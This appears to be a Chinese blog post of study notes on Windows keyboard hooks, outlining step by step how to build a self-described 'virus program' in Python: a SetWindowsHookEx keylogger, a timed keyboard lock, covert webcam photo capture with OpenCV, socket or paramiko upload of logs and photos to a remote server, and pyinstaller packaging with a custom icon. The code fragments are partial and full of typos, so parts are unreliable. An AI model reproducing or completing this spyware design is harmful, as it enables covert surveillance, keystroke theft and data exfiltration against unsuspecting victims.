钩子

发布时间 2023-11-09 09:43:41作者: 朱饱饱

linux:ps aus|grep会显示id号
Windows:dll 调SetWindowsHookEx接口钩子 机制,是正常的工作机制,用tasklist会显示一个程序的ID号,可以做唯一的
如果监听的ID号是0会坚挺所有窗口的信息
理解为通过一个进程控制另一个进程
键盘––––––––>窗口
锁定:鱼不放回去
KEYBOARD_LL所有的按键
pointer c的指针,来自于Python功能
dll句柄设置为0,当前所有的窗口
Unhook卸载钩子,把鱼放回水里,如果不放数据就丢掉
1.推荐安装:anocoda3.7
2.提速下载可以改变源
pip3........
3.安装Python32这个库
4.安装opencv–Python
pip install opencv-python
5.安装pyinstaller 依赖pyin32,在宿主机上运行
pip install pyinstaller,是做成二进制
6.ico文件准备好在线制作等
7.了解一下要用到的功能
from time import sleep,strftime 时间间隔,获取格式化的时间,主要用于日志
from os import listdir,remove 查看文件夹下面有哪些文件,找到文件打开文件,基于套接字上传文件的概念上传上去, 再删除
from os.path import exists,getsize,abspath,expanduser,basename
判断文件存不存在,获取文件大小,获取当前用户不确定,
from sys import exit 退出
from struct import pack 序列化的操作
from socket import socket,AF_INET,SOCK_STREAM基于网络传输的tcp协议套接字
from Win32clipboard import OpenClipboard,GetClipboardData,CloseClipboard 剪贴板,打开,获取,关闭剪贴板
from win32con import KEY_ALL_ACCESS 对键盘的一些操作
from cv2 import VideoCapture,CAP_DSHOW,imwrite,destroyALLwindows
安装opencv–Python以后会出现cv2这个库,是做图像处理的调VideoCapture来开摄像头,CAP_DSHOW是参数,必须指定,来关闭摄像头
,模块下面有一个功能可以把采集到的数据写到文件里面去imwrite,destroyALLwindows
把所有的摄像头全都关掉
from ctypes import winll #windll.user32,windll.kernel32
user32属性指的是用户级,监听用户,kernel32指的是内核级的监听
from threading import 在指定的时间之后运行这个代码,定时器
例如:func(x,y):
print('from func%s:%s'%(x,y)
t=Timer(3,func,args=[111,222])3秒,执行func函数
t.start()
步骤1.先编写病毒程序(WinCoreManagerment.py)监听键盘输入并记录日志,锁定键盘功能 ,偷拍功能,保存图片文件上传数据功能:套接字客户端
self.user32.GetMessageA(msg),None,0,0)
2.编写服务端(socketserver)
mac:系统自带命令scp命令可以把远程的拷贝到本地
Windows:下载一个软件 secureCRT图形界面
python的模块--->paramiko模块 直接调用模块,上,是一个套接字,相当于直接解决锁的问题
纯手写客户端套接字,如果不想写套接字客户端或者服务端,想偷懒可以用paramlko模块偷拍的图片或者信息拿到了以后直接上传到这个模块,先下载
3,服务端部署,修改安全组,开发端口
4.病毒程序制作二进制

 

定义钩子过程(即我们要注入的逻辑)
def monitor_keyborad_proc(nCode,wParom,lParam):
def lock_keyboard_proc(nCode,wParam,lParam):


if __name__=='__main__':
#监听键盘输入--->并记录日志
t1=Thread(tarfet=toad_obj.install_hook_peoc,args=(monitor_keyborad_proc,))调注入钩子,要放回去
#锁定键盘功能
t2=Timer(120,tode_obk.install_hook_proc,args=[lock_kryboard_proc,])
#偷拍功能--->保存图片文件
t3=Thread(target=utils.take_photoes)
#上传数据功能:日志文件图片
t4=Thread(target=utils.upload_log)日志
t5=Thread(target=utils.upload_lhotoes)图片
pointer=CMPFUNC(func)python函数需要经过
return windll.user32.CallNextHookEx(toad_obj.hooked,nCode,wPaeam,lParam)将钩子的信息重新放回购链中
cap=cv2.VidecoCapture(0,cv2.CAP_DSHOW)
图片,0是内置摄像头,后面参数要写
ret,frame=cap.read()
self.mutex_photo.acquire()加锁
。。。。。

self.mutex_photo.release()无论如何都要释放锁,关闭相机
cv2.destroyAllWindows()把所有窗口的相机关闭